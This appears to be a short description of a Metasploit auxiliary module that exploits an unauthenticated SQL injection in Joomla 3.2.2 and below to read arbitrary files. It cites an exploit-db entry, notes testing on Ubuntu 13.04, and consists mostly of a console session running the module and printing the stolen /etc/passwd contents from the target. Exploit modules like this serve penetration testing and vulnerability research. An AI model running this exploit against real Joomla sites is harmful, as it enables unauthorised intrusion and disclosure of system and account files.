Joomla 3.2.2 and below unauthenticated SQL injection Arbitrary File Read

Exploits this:
http://www.exploit-db.com/exploits/31459/

Tested against Ubuntu server 13.04.


```
msf auxiliary(joomla_weblinks_sqli) > rerun
[*] Reloading module...

[+] File saved to: /home/bperry/.msf4/loot/20140312104249_default_172.31.16.87_joomla.file_645428.txt
[*] Auxiliary module execution completed
msf auxiliary(joomla_weblinks_sqli) > cat /home/bperry/.msf4/loot/20140312104249_default_172.31.16.87_joomla.file_645428.txt
[*] exec: cat /home/bperry/.msf4/loot/20140312104249_default_172.31.16.87_joomla.file_645428.txt

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:104::/var/run/dbus:/bin/false
bperry:x:1000:1000:bperry,,,:/home/bperry:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
colord:x:105:113:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:106:46:usbmux daemon,,,:/home/usbmux:/bin/false
pulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:108:117:RealtimeKit,,,:/proc:/bin/false
msf auxiliary(joomla_weblinks_sqli) >
```